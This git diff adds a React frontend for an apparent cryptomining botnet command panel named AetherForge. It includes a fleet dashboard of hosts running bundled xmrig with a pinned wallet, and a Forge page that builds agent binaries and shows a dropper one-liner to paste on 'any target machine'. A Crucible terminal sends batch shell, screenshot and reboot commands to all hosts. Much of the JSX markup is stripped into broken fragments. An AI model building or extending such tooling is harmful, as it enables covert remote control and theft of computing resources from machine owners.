"get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/yargs/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/yargs/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + } + } +} diff --git a/web/package.json b/web/package.json new file mode 100644 index 0000000..4a93b36 --- /dev/null +++ b/web/package.json @@ -0,0 +1,40 @@ +{ + "name": "aetherforge-deck", + "private": true, + "version": "0.1.0", + "type": "module", + "scripts": { + "dev": "vite", + "build": "tsc -b && vite build", + "preview": "vite preview", + "test": "vitest run", + "test:watch": "vitest", + "test:coverage": "vitest run --coverage" + }, + "dependencies": { + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "lucide-react": "^0.469.0", + "react": "^18.3.1", + "react-dom": "^18.3.1", + "react-router-dom": "^6.28.0", + "tailwind-merge": "^2.6.0" + }, + "devDependencies": { + "@testing-library/jest-dom": "^6.9.1", + "@testing-library/react": "^16.3.2", + "@testing-library/user-event": "^14.6.1", + "@types/react": "^18.3.18", + "@types/react-dom": "^18.3.5", + "@vitejs/plugin-react": "^4.3.4", + "@vitest/coverage-v8": "^2.1.9", + "autoprefixer": "^10.4.20", + "jsdom": "^25.0.1", + "msw": "^2.14.6", + "postcss": "^8.4.49", + "tailwindcss": "^3.4.17", + "typescript": "^5.7.2", + "vite": "^6.0.5", + "vitest": "^2.1.9" + } +} diff --git a/web/postcss.config.js b/web/postcss.config.js new file mode 100644 index 0000000..2aa7205 --- /dev/null +++ b/web/postcss.config.js @@ -0,0 +1,6 @@ +export default { + plugins: { + tailwindcss: {}, + autoprefixer: {}, + }, +}; diff --git a/web/public/forge.svg b/web/public/forge.svg new file mode 100644 index 0000000..bc306d1 --- /dev/null +++ b/web/public/forge.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/web/src/App.test.tsx b/web/src/App.test.tsx new file mode 100644 index 0000000..aa9df3d --- /dev/null +++ b/web/src/App.test.tsx @@ -0,0 +1,60 @@ +import { describe, expect, it, beforeEach, afterEach } from "vitest"; +import { screen, waitFor } from "@testing-library/react"; +import App from "@/App"; +import { renderWithProviders } from "@/test/test-utils"; +import { + installMockWebSocket, + uninstallMockWebSocket, +} from "@/test/mockWebSocket"; + +const routes = [ + { path: "/login", heading: "AetherForge Command Deck", auth: false }, + { path: "/dashboard", heading: "Fleet Dashboard", auth: true }, + { path: "/forge", heading: "Forge Pipeline", auth: true }, + { path: "/calibrate", heading: "Calibrate", auth: true }, + { path: "/crucible", heading: "Crucible", auth: true }, + { path: "/seer", heading: "Seer", auth: true }, +] as const; + +describe("App routes", () => { + beforeEach(() => { + installMockWebSocket(); + }); + + afterEach(() => { + uninstallMockWebSocket(); + }); + + it.each(routes)("renders $path without crash", async ({ path, heading, auth }) => { + renderWithProviders(, { + routerProps: { initialEntries: [path] }, + authenticated: auth, + }); + + if (auth) { + await waitFor(() => { + expect(screen.getByRole("heading", { name: heading })).toBeInTheDocument(); + }); + } else { + expect(screen.getByText(heading)).toBeInTheDocument(); + } + }); + + it("redirects unauthenticated dashboard access to login", () => { + renderWithProviders(, { + routerProps: { initialEntries: ["/dashboard"] }, + authenticated: false, + }); + expect(screen.getByText("AetherForge Command Deck")).toBeInTheDocument(); + }); + + it("redirects authenticated login to dashboard", async () => { + renderWithProviders(, { + routerProps: { initialEntries: ["/login"] }, + authenticated: true, + }); + await waitFor(() => { + expect(screen.getByRole("heading", { name: "Fleet Dashboard" })).toBeInTheDocument(); + }); + }); +}); diff --git a/web/src/App.tsx b/web/src/App.tsx new file mode 100644 index 0000000..bc5110a --- /dev/null +++ b/web/src/App.tsx @@ -0,0 +1,40 @@ +import { Navigate, Route, Routes } from "react-router-dom"; +import { CommandDeckLayout } from "@/components/layout/CommandDeckLayout"; +import { ProtectedRoute } from "@/components/layout/ProtectedRoute"; +import { LoginPage } from "@/pages/LoginPage"; +import { DashboardPage } from "@/pages/DashboardPage"; +import { ForgePage } from "@/pages/ForgePage"; +import { CalibratePage } from "@/pages/CalibratePage"; +import { CruciblePage } from "@/pages/CruciblePage"; +import { SeerPage } from "@/pages/SeerPage"; +import { isAuthenticated } from "@/lib/auth"; + +export default function App() { + return ( + + + ) : ( + + ) + } + /> + + }> + }> + } /> + } /> + } /> + } /> + } /> + + + + } /> + } /> + + ); +} diff --git a/web/src/components/dashboard/HostCard.test.tsx b/web/src/components/dashboard/HostCard.test.tsx new file mode 100644 index 0000000..69d4107 --- /dev/null +++ b/web/src/components/dashboard/HostCard.test.tsx @@ -0,0 +1,56 @@ +import { describe, expect, it } from "vitest"; +import { render, screen } from "@testing-library/react"; +import { HostCard } from "./HostCard"; +import type { FleetHost } from "@/types/fleet"; + +const onlineHost: FleetHost = { + id: "host-001", + hostname: "forge-node-alpha", + ip: "10.0.1.12", + arch: "linux/amd64", + hashrate: 18_200_000, + tier: 2, + tierName: "Bundled xmrig", + tierState: "active", + algo: "rx/0", + uptimeSec: 86400, + lastSeen: new Date().toISOString(), + clearance: 2, + online: true, +}; + +const offlineHost: FleetHost = { + ...onlineHost, + id: "host-004", + hostname: "offline-staging", + online: false, + hashrate: 0, + tierState: "idle", + tierName: "—", +}; + +describe("HostCard", () => { + it("renders online host with hashrate and tier badge", () => { + render(); + expect(screen.getByText("forge-node-alpha")).toBeInTheDocument(); + expect(screen.getByText("18.20 MH/s")).toBeInTheDocument(); + expect(screen.getByText("ONLINE")).toBeInTheDocument(); + expect(screen.getByText("ACTIVE")).toBeInTheDocument(); + expect(screen.getByText("Bundled xmrig")).toBeInTheDocument(); + }); + + it("renders offline host without hashrate", () => { + render(); + expect(screen.getByText("offline-staging")).toBeInTheDocument(); + expect(screen.getByText("OFFLINE")).toBeInTheDocument(); + expect(screen.getAllByText("—").length).toBeGreaterThan(0); + expect(screen.getByText("IDLE")).toBeInTheDocument(); + }); + + it("shows tier and clearance metadata", () => { + render(); + expect(screen.getByText("T2")).toBeInTheDocument(); + expect(screen.getByText("L2")).toBeInTheDocument(); + expect(screen.getByText("rx/0")).toBeInTheDocument(); + }); +}); diff --git a/web/src/components/dashboard/HostCard.tsx b/web/src/components/dashboard/HostCard.tsx new file mode 100644 index 0000000..ade52d5 --- /dev/null +++ b/web/src/components/dashboard/HostCard.tsx @@ -0,0 +1,111 @@ +import { + Cpu, + HardDrive, + Network, + Shield, + Zap, +} from "lucide-react"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Badge } from "@/components/ui/badge"; +import { cn, formatHashrate, formatUptime } from "@/lib/utils"; +import type { FleetHost, TierState } from "@/types/fleet"; + +function tierBadgeVariant(state: TierState) { + switch (state) { + case "active": + return "active" as const; + case "probing": + return "probing" as const; + case "failed": + return "failed" as const; + case "paused": + return "paused" as const; + default: + return "idle" as const; + } +} + +interface HostCardProps { + host: FleetHost; +} + +export function HostCard({ host }: HostCardProps) { + return ( + + +
+
+ + {host.hostname} + + + {host.id} · {host.ip} + +
+ + {host.online ? "ONLINE" : "OFFLINE"} + +
+
+ + +
+ + + {host.online ? formatHashrate(host.hashrate) : "—"} + +
+ +
+
+ + {host.arch} +
+
+ + {host.algo} +
+
+ + T{host.tier} +
+
+ + L{host.clearance} +
+
+ +
+ + {host.tierState.toUpperCase()} + + + {host.tierName} + + {host.online && ( + + ↑ {formatUptime(host.uptimeSec)} + + )} +
+
+
+ ); +} diff --git a/web/src/components/layout/CommandDeckLayout.test.tsx b/web/src/components/layout/CommandDeckLayout.test.tsx new file mode 100644 index 0000000..8fa86fe --- /dev/null +++ b/web/src/components/layout/CommandDeckLayout.test.tsx @@ -0,0 +1,29 @@ +import { describe, expect, it } from "vitest"; +import { screen } from "@testing-library/react"; +import { Routes, Route } from "react-router-dom"; +import { CommandDeckLayout } from "./CommandDeckLayout"; +import { renderWithProviders } from "@/test/test-utils"; +import { + installMockWebSocket, + uninstallMockWebSocket, +} from "@/test/mockWebSocket"; + +describe("CommandDeckLayout", () => { + it("renders sidebar and outlet frame", () => { + installMockWebSocket(); + renderWithProviders( + + }> + Dashboard outlet} /> + + , + { routerProps: { initialEntries: ["/dashboard"] } }, + ); + + expect(screen.getByText("AetherForge")).toBeInTheDocument(); + expect(screen.getByRole("link", { name: /Dashboard/i })).toBeInTheDocument(); + expect(screen.getByText("Dashboard outlet")).toBeInTheDocument(); + + uninstallMockWebSocket(); + }); +}); diff --git a/web/src/components/layout/CommandDeckLayout.tsx b/web/src/components/layout/CommandDeckLayout.tsx new file mode 100644 index 0000000..66eec91 --- /dev/null +++ b/web/src/components/layout/CommandDeckLayout.tsx @@ -0,0 +1,24 @@ +import { Outlet } from "react-router-dom"; +import { Sidebar } from "./Sidebar"; +import { FleetWsProvider, useFleetWs } from "@/context/FleetWsContext"; + +function CommandDeckShell() { + const { connectionState } = useFleetWs(); + + return ( +
+ +
+ +
+
+ ); +} + +export function CommandDeckLayout() { + return ( + + + + ); +} diff --git a/web/src/components/layout/ProtectedRoute.test.tsx b/web/src/components/layout/ProtectedRoute.test.tsx new file mode 100644 index 0000000..f262c32 --- /dev/null +++ b/web/src/components/layout/ProtectedRoute.test.tsx @@ -0,0 +1,40 @@ +import { describe, expect, it } from "vitest"; +import { render, screen } from "@testing-library/react"; +import { Routes, Route } from "react-router-dom"; +import { ProtectedRoute } from "./ProtectedRoute"; +import { renderWithProviders } from "@/test/test-utils"; + +function SecretPage() { + return
Fleet Dashboard
; +} + +describe("ProtectedRoute", () => { + it("redirects unauthenticated users to login", () => { + renderWithProviders( + + }> + } /> + + Login Gate} /> + , + { routerProps: { initialEntries: ["/dashboard"] }, authenticated: false }, + ); + + expect(screen.getByText("Login Gate")).toBeInTheDocument(); + expect(screen.queryByText("Fleet Dashboard")).not.toBeInTheDocument(); + }); + + it("allows authenticated users through", () => { + renderWithProviders( + + }> + } /> + + Login Gate} /> + , + { routerProps: { initialEntries: ["/dashboard"] }, authenticated: true }, + ); + + expect(screen.getByText("Fleet Dashboard")).toBeInTheDocument(); + }); +}); diff --git a/web/src/components/layout/ProtectedRoute.tsx b/web/src/components/layout/ProtectedRoute.tsx new file mode 100644 index 0000000..9063ab6 --- /dev/null +++ b/web/src/components/layout/ProtectedRoute.tsx @@ -0,0 +1,12 @@ +import { Navigate, Outlet, useLocation } from "react-router-dom"; +import { isAuthenticated } from "@/lib/auth"; + +export function ProtectedRoute() { + const location = useLocation(); + + if (!isAuthenticated()) { + return ; + } + + return ; +} diff --git a/web/src/components/layout/Sidebar.tsx b/web/src/components/layout/Sidebar.tsx new file mode 100644 index 0000000..8239b37 --- /dev/null +++ b/web/src/components/layout/Sidebar.tsx @@ -0,0 +1,104 @@ +import { NavLink } from "react-router-dom"; +import { + Activity, + Anvil, + Eye, + Gauge, + Hammer, + LogOut, + Terminal, + Wifi, + WifiOff, +} from "lucide-react"; +import { cn } from "@/lib/utils"; +import { clearStoredAuth } from "@/lib/auth"; +import { useNavigate } from "react-router-dom"; +import type { WsConnectionState } from "@/hooks/useFleetWebSocket"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; + +const navItems = [ + { to: "/dashboard", label: "Dashboard", icon: Gauge }, + { to: "/forge", label: "Forge", icon: Hammer }, + { to: "/calibrate", label: "Calibrate", icon: Activity }, + { to: "/crucible", label: "Crucible", icon: Terminal }, + { to: "/seer", label: "Seer", icon: Eye }, +]; + +interface SidebarProps { + wsState?: WsConnectionState; +} + +export function Sidebar({ wsState = "disconnected" }: SidebarProps) { + const navigate = useNavigate(); + + const handleLogout = () => { + clearStoredAuth(); + navigate("/login"); + }; + + const wsBadge = + wsState === "connected" + ? { variant: "online" as const, label: "WS LIVE", icon: Wifi } + : wsState === "connecting" + ? { variant: "probing" as const, label: "WS CONNECTING", icon: Wifi } + : { variant: "offline" as const, label: "WS OFFLINE", icon: WifiOff }; + + const WsIcon = wsBadge.icon; + + return ( + + ); +} diff --git a/web/src/components/ui/badge.test.tsx b/web/src/components/ui/badge.test.tsx new file mode 100644 index 0000000..b98af64 --- /dev/null +++ b/web/src/components/ui/badge.test.tsx @@ -0,0 +1,18 @@ +import { describe, expect, it } from "vitest"; +import { render, screen } from "@testing-library/react"; +import { Badge } from "./badge"; + +describe("Badge tier variants", () => { + it.each([ + ["active", "ACTIVE"], + ["probing", "PROBING"], + ["failed", "FAILED"], + ["idle", "IDLE"], + ["paused", "PAUSED"], + ["online", "ONLINE"], + ["offline", "OFFLINE"], + ] as const)("renders %s variant", (variant, label) => { + render({label}); + expect(screen.getByText(label)).toBeInTheDocument(); + }); +}); diff --git a/web/src/components/ui/badge.tsx b/web/src/components/ui/badge.tsx new file mode 100644 index 0000000..7e412e9 --- /dev/null +++ b/web/src/components/ui/badge.tsx @@ -0,0 +1,46 @@ +import * as React from "react"; +import { cva, type VariantProps } from "class-variance-authority"; +import { cn } from "@/lib/utils"; + +const badgeVariants = cva( + "inline-flex items-center rounded-full border px-2.5 py-0.5 text-xs font-mono font-medium transition-colors", + { + variants: { + variant: { + default: + "border-deck-accent/40 bg-deck-accent/10 text-deck-accent", + secondary: + "border-deck-border bg-deck-panel text-deck-muted", + active: + "border-deck-accent/60 bg-deck-accent/20 text-deck-accent shadow-glow", + probing: + "border-deck-amber/60 bg-deck-amber/10 text-deck-amber animate-pulse-slow", + failed: + "border-deck-danger/60 bg-deck-danger/10 text-deck-danger", + idle: + "border-deck-border bg-deck-surface text-deck-muted", + paused: + "border-deck-cyan/40 bg-deck-cyan/10 text-deck-cyan", + online: "border-deck-accent/40 bg-deck-accent/10 text-deck-accent", + offline: "border-deck-border bg-deck-surface text-deck-muted", + warning: + "border-deck-amber/60 bg-deck-amber/10 text-deck-amber", + }, + }, + defaultVariants: { + variant: "default", + }, + }, +); + +export interface BadgeProps + extends React.HTMLAttributes, + VariantProps {} + +function Badge({ className, variant, ...props }: BadgeProps) { + return ( +
+ ); +} + +export { Badge, badgeVariants }; diff --git a/web/src/components/ui/button.tsx b/web/src/components/ui/button.tsx new file mode 100644 index 0000000..7d3011a --- /dev/null +++ b/web/src/components/ui/button.tsx @@ -0,0 +1,49 @@ +import * as React from "react"; +import { cva, type VariantProps } from "class-variance-authority"; +import { cn } from "@/lib/utils"; + +const buttonVariants = cva( + "inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-deck-accent focus-visible:ring-offset-2 focus-visible:ring-offset-deck-bg disabled:pointer-events-none disabled:opacity-50", + { + variants: { + variant: { + default: + "bg-deck-accent text-deck-bg hover:bg-deck-accent/90 shadow-glow", + secondary: + "bg-deck-panel text-deck-text border border-deck-border hover:bg-deck-surface", + ghost: "hover:bg-deck-panel hover:text-deck-accent", + destructive: + "bg-deck-danger/20 text-deck-danger border border-deck-danger/40 hover:bg-deck-danger/30", + outline: + "border border-deck-border bg-transparent hover:bg-deck-panel hover:text-deck-accent", + }, + size: { + default: "h-10 px-4 py-2", + sm: "h-8 rounded-md px-3 text-xs", + lg: "h-11 rounded-md px-8", + icon: "h-10 w-10", + }, + }, + defaultVariants: { + variant: "default", + size: "default", + }, + }, +); + +export interface ButtonProps + extends React.ButtonHTMLAttributes, + VariantProps {} + +const Button = React.forwardRef( + ({ className, variant, size, ...props }, ref) => ( + + + + {saved && ( +

Policy saved to server.

+ )} + +
+ + +
+ + Tier Chain +
+ Reorder with arrows — pushed to agents with policy_from_server +
+ + {profile.tiers.map((t, i) => ( +
+ + T{t.tier} · {t.name} + +
+ + + toggleTier(i)} + > + {t.enabled ? "ENABLED" : "DISABLED"} + +
+
+ ))} +
+
+ + + +
+ + Wallet Policy +
+ Pinned destination address (server-push) +
+ +
+ + { + setProfile({ ...profile, wallet_address: e.target.value }); + setSaved(false); + }} + /> +
+
+
+
+ + + +
+ + Per-host override +
+ + Push profile to a host via{" "} + POST /api/v1/fleet/{id}/mining-profile + +
+
+
+ ); +} diff --git a/web/src/pages/CruciblePage.test.tsx b/web/src/pages/CruciblePage.test.tsx new file mode 100644 index 0000000..a27ad3a --- /dev/null +++ b/web/src/pages/CruciblePage.test.tsx @@ -0,0 +1,32 @@ +import { describe, expect, it } from "vitest"; +import { screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { CruciblePage } from "./CruciblePage"; +import { renderWithProviders } from "@/test/test-utils"; + +describe("CruciblePage", () => { + it("renders batch terminal UI", async () => { + renderWithProviders(); + expect(screen.getByRole("heading", { name: "Crucible" })).toBeInTheDocument(); + expect(screen.getByText("Batch command terminal")).toBeInTheDocument(); + + await waitFor(() => { + expect(screen.getByText("OPERATOR L4")).toBeInTheDocument(); + }); + }); + + it("sends command via dispatch form", async () => { + const user = userEvent.setup(); + renderWithProviders(); + + const input = screen.getByPlaceholderText("status"); + await user.clear(input); + await user.type(input, "health-check"); + await user.click(screen.getByRole("button", { name: "Run" })); + + await waitFor(() => { + expect(screen.getByText("DISPATCHED")).toBeInTheDocument(); + }); + expect(screen.getByText("forge-node-alpha")).toBeInTheDocument(); + }); +}); diff --git a/web/src/pages/CruciblePage.tsx b/web/src/pages/CruciblePage.tsx new file mode 100644 index 0000000..73395fe --- /dev/null +++ b/web/src/pages/CruciblePage.tsx @@ -0,0 +1,174 @@ +import { useCallback, useEffect, useRef, useState } from "react"; +import { Loader2, Send, Terminal } from "lucide-react"; +import { authFetch } from "@/lib/auth"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { Input } from "@/components/ui/input"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; + +interface BatchResult { + host_id: string; + hostname?: string; + status: string; + message?: string; + command_id?: string; +} + +interface BatchJob { + id: string; + command: string; + status: string; + results: BatchResult[]; +} + +export function CruciblePage() { + const [command, setCommand] = useState("status"); + const [job, setJob] = useState(null); + const [history, setHistory] = useState([]); + const [running, setRunning] = useState(false); + const [clearance, setClearance] = useState(null); + const terminalRef = useRef(null); + + const loadHistory = useCallback(async () => { + const res = await authFetch("/api/v1/crucible/history"); + if (res.ok) { + const data = (await res.json()) as { jobs: BatchJob[] }; + setHistory(data.jobs ?? []); + } + }, []); + + useEffect(() => { + void loadHistory(); + void authFetch("/api/v1/operator/me").then(async (res) => { + if (res.ok) { + const data = (await res.json()) as { clearance_level: number }; + setClearance(data.clearance_level); + } + }); + }, [loadHistory]); + + useEffect(() => { + terminalRef.current?.scrollTo({ top: terminalRef.current.scrollHeight }); + }, [job, history]); + + const dispatch = async (all: boolean) => { + setRunning(true); + try { + const res = await authFetch("/api/v1/crucible/batch", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ command, all }), + }); + if (res.ok) { + const data = (await res.json()) as BatchJob; + setJob(data); + await loadHistory(); + } else if (res.status === 403) { + setJob({ + id: "denied", + command, + status: "forbidden", + results: [{ host_id: "—", status: "denied", message: "Requires clearance L4" }], + }); + } + } finally { + setRunning(false); + } + }; + + const lines = job?.results ?? history[0]?.results ?? []; + + return ( +
+
+
+

Crucible

+

+ Batch terminal — dispatch commands across fleet hosts (L4) +

+
+ {clearance !== null && ( + = 4 ? "online" : "failed"}> + OPERATOR L{clearance} + + )} +
+ + + +
+ + Batch command terminal +
+ + Maps to pause · resume · reboot · screenshot · shell · status + +
+ +
+ setCommand(e.target.value)} + placeholder="status" + onKeyDown={(e) => e.key === "Enter" && void dispatch(true)} + /> + + +
+ +
+

+ $ crucible dispatch --cmd {command || "status"} +

+ {lines.length === 0 && ( +

No output yet — run a batch command.

+ )} + {lines.map((line, i) => ( +
+ {line.hostname ?? line.host_id} + {command} + + {line.status.toUpperCase()} + +
+ ))} + {running &&

▌ dispatching…

} + {!running && lines.length > 0 && ( +

▌

+ )} +
+ + {job && ( +

+ job {job.id} · {job.status} +

+ )} +
+
+
+ ); +} diff --git a/web/src/pages/DashboardPage.test.tsx b/web/src/pages/DashboardPage.test.tsx new file mode 100644 index 0000000..ffb9bf9 --- /dev/null +++ b/web/src/pages/DashboardPage.test.tsx @@ -0,0 +1,61 @@ +import { describe, expect, it } from "vitest"; +import { screen, waitFor } from "@testing-library/react"; +import { DashboardPage } from "./DashboardPage"; +import { FleetWsProvider } from "@/context/FleetWsContext"; +import { renderWithProviders } from "@/test/test-utils"; +import { MOCK_API_FLEET } from "@/test/mocks/fleet"; +import { + installMockWebSocket, + MockWebSocket, + uninstallMockWebSocket, +} from "@/test/mockWebSocket"; + +function renderDashboard() { + return renderWithProviders( + + + , + { routerProps: { initialEntries: ["/dashboard"] } }, + ); +} + +describe("DashboardPage", () => { + it("renders host cards from mock fleet API", async () => { + installMockWebSocket(); + renderDashboard(); + + await waitFor(() => { + expect(screen.getByText("forge-node-alpha")).toBeInTheDocument(); + }); + + expect(screen.getByText("mesh-worker-beta")).toBeInTheDocument(); + expect(screen.getByText("Fleet Dashboard")).toBeInTheDocument(); + expect(screen.getByText("55.00 MH/s")).toBeInTheDocument(); + expect(screen.getByText(`2 / ${MOCK_API_FLEET.hosts.length}`)).toBeInTheDocument(); + + uninstallMockWebSocket(); + }); + + it("shows API LIVE badge when fleet fetch succeeds", async () => { + installMockWebSocket(); + renderDashboard(); + + await waitFor(() => { + expect(screen.getByText("API LIVE")).toBeInTheDocument(); + }); + + uninstallMockWebSocket(); + }); + + it("connects websocket and shows connection state", async () => { + installMockWebSocket(); + renderDashboard(); + + await waitFor(() => { + expect(screen.getByText("WS CONNECTED")).toBeInTheDocument(); + }); + + expect(MockWebSocket.latest()?.url).toContain("/api/v1/ws/fleet"); + uninstallMockWebSocket(); + }); +}); diff --git a/web/src/pages/DashboardPage.tsx b/web/src/pages/DashboardPage.tsx new file mode 100644 index 0000000..3f6c938 --- /dev/null +++ b/web/src/pages/DashboardPage.tsx @@ -0,0 +1,95 @@ +import type { ComponentType } from "react"; +import { RefreshCw, Server, Zap } from "lucide-react"; +import { HostCard } from "@/components/dashboard/HostCard"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { formatHashrate } from "@/lib/utils"; +import { useFleetData } from "@/hooks/useFleetData"; + +export function DashboardPage() { + const { fleet, hosts, loading, source, connectionState, refetch } = + useFleetData(); + + return ( +
+
+
+

Fleet Dashboard

+

+ Live host telemetry · tier state · aggregate hashrate +

+
+
+ + {source === "api" ? "API LIVE" : "MOCK DATA"} + + + WS {connectionState.toUpperCase()} + + +
+
+ +
+ + + +
+ +
+

+ Fleet Hosts +

+
+ {hosts.map((host) => ( + + ))} +
+
+
+ ); +} + +function StatPanel({ + icon: Icon, + label, + value, + accent, +}: { + icon: ComponentType<{ className?: string }>; + label: string; + value: string; + accent?: boolean; +}) { + return ( +
+
+ + {label} +
+

+ {value} +

+
+ ); +} diff --git a/web/src/pages/ForgePage.test.tsx b/web/src/pages/ForgePage.test.tsx new file mode 100644 index 0000000..23e3c7d --- /dev/null +++ b/web/src/pages/ForgePage.test.tsx @@ -0,0 +1,55 @@ +import { describe, expect, it } from "vitest"; +import { screen, waitFor } from "@testing-library/react"; +import userEvent from "@testing-library/user-event"; +import { ForgePage } from "./ForgePage"; +import { renderWithProviders } from "@/test/test-utils"; + +describe("ForgePage", () => { + it("renders forge & deploy page without crash", async () => { + renderWithProviders(); + expect( + screen.getByRole("heading", { name: /Forge & Deploy/i }), + ).toBeInTheDocument(); + + // Dropper panel loads + await waitFor(() => { + expect(screen.getByText(/Install command/i)).toBeInTheDocument(); + }); + + // Build list loads + await waitFor(() => { + expect(screen.getByText(/linux\/amd64/i)).toBeInTheDocument(); + }); + + expect(screen.getAllByText("SIGNED").length).toBeGreaterThan(0); + expect(screen.getByText("PUBLIC")).toBeInTheDocument(); + }); + + it("shows the dropper one-liner", async () => { + renderWithProviders(); + await waitFor(() => { + expect( + screen.getByText(/FORGE_MESH_FLEET_SECRET/), + ).toBeInTheDocument(); + }); + }); + + it("can trigger a build", async () => { + const user = userEvent.setup(); + renderWithProviders(); + + // Wait for page to settle + await waitFor(() => { + expect(screen.getByText(/linux\/amd64/i)).toBeInTheDocument(); + }); + + await user.click( + screen.getByRole("button", { name: /Build & Publish/i }), + ); + await waitFor(() => { + expect( + screen.getByText(/Build complete — artifacts signed and published/i), + ).toBeInTheDocument(); + }); + }); +}); diff --git a/web/src/pages/ForgePage.tsx b/web/src/pages/ForgePage.tsx new file mode 100644 index 0000000..2325c6d --- /dev/null +++ b/web/src/pages/ForgePage.tsx @@ -0,0 +1,324 @@ +import { useCallback, useEffect, useRef, useState } from "react"; +import { + CheckCircle2, + ClipboardCopy, + Hammer, + Link2, + Loader2, + Package, + Play, + ShieldCheck, + TriangleAlert, +} from "lucide-react"; +import { authFetch } from "@/lib/auth"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; + +interface BuildRow { + id: string; + os: string; + arch: string; + version: string; + checksum: string; + signature?: string; + public: boolean; + created_at: string; +} + +interface DropperInfo { + dropper_url: string; + install_url: string; + one_liner: string; + fleet_secret: string; + public_key: string; + has_build: boolean; + version: string; +} + +export function ForgePage() { + const [builds, setBuilds] = useState([]); + const [dropper, setDropper] = useState(null); + const [loadingBuilds, setLoadingBuilds] = useState(true); + const [triggering, setTriggering] = useState(false); + const [buildMessage, setBuildMessage] = useState<{ + text: string; + ok: boolean; + } | null>(null); + const [copied, setCopied] = useState(false); + const copyTimer = useRef | null>(null); + + const loadBuilds = useCallback(async () => { + setLoadingBuilds(true); + try { + const res = await authFetch("/api/v1/forge/builds"); + if (res.ok) { + const data = (await res.json()) as { builds: BuildRow[] }; + setBuilds(data.builds ?? []); + } + } finally { + setLoadingBuilds(false); + } + }, []); + + const loadDropper = useCallback(async () => { + try { + const res = await authFetch("/api/v1/dropper"); + if (res.ok) { + setDropper((await res.json()) as DropperInfo); + } + } catch { + // non-fatal + } + }, []); + + useEffect(() => { + void loadBuilds(); + void loadDropper(); + }, [loadBuilds, loadDropper]); + + const triggerBuild = async () => { + setTriggering(true); + setBuildMessage(null); + try { + const res = await authFetch("/api/v1/forge/builds/trigger", { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ public: true }), + }); + const data = (await res.json()) as { ok?: boolean; message?: string }; + setBuildMessage({ + text: data.ok + ? "Build complete — artifacts signed and published." + : (data.message ?? "Build failed."), + ok: data.ok ?? false, + }); + // Reload both builds list and dropper (has_build may have changed) + await Promise.all([loadBuilds(), loadDropper()]); + } catch { + setBuildMessage({ text: "Failed to reach the server.", ok: false }); + } finally { + setTriggering(false); + } + }; + + const copyOneLiner = () => { + if (!dropper) return; + void navigator.clipboard.writeText(dropper.one_liner).then(() => { + setCopied(true); + if (copyTimer.current) clearTimeout(copyTimer.current); + copyTimer.current = setTimeout(() => setCopied(false), 2000); + }); + }; + + return ( +
+ {/* Header */} +
+
+

+ Forge & Deploy +

+

+ Build agent binaries, grab the dropper URL, paste one command on any + machine +

+
+ +
+ + {/* Build result banner */} + {buildMessage && ( + + + {buildMessage.ok ? ( + + ) : ( + + )} + {buildMessage.text} + + + )} + + {/* ── DROPPER PANEL ── */} + + +
+ + Dropper URL + {dropper && !dropper.has_build && ( + + No build yet — trigger one first + + )} +
+ + Paste this one-liner into any target machine to fetch, verify, and + install the agent as a systemd service. + +
+ + {dropper ? ( + <> + {/* One-liner */} +
+

+ Install command +

+
+
+                    {dropper.one_liner}
+                  
+ +
+
+ + {/* Dropper meta row */} +
+ + + + +
+ + ) : ( +

+ Loading dropper + info… +

+ )} +
+
+ + {/* ── BUILD LIST ── */} +
+
+

+ + Published artifacts +

+ {loadingBuilds && ( + + )} +
+ + {!loadingBuilds && builds.length === 0 ? ( + + + No builds yet — click Build & Publish above. + + + ) : ( +
+ {builds.map((build) => ( + + + +
+

+ {build.os}/{build.arch} · v{build.version} +

+

+ sha256:{build.checksum.slice(0, 24)}… +

+

+ {new Date(build.created_at).toLocaleString()} +

+
+
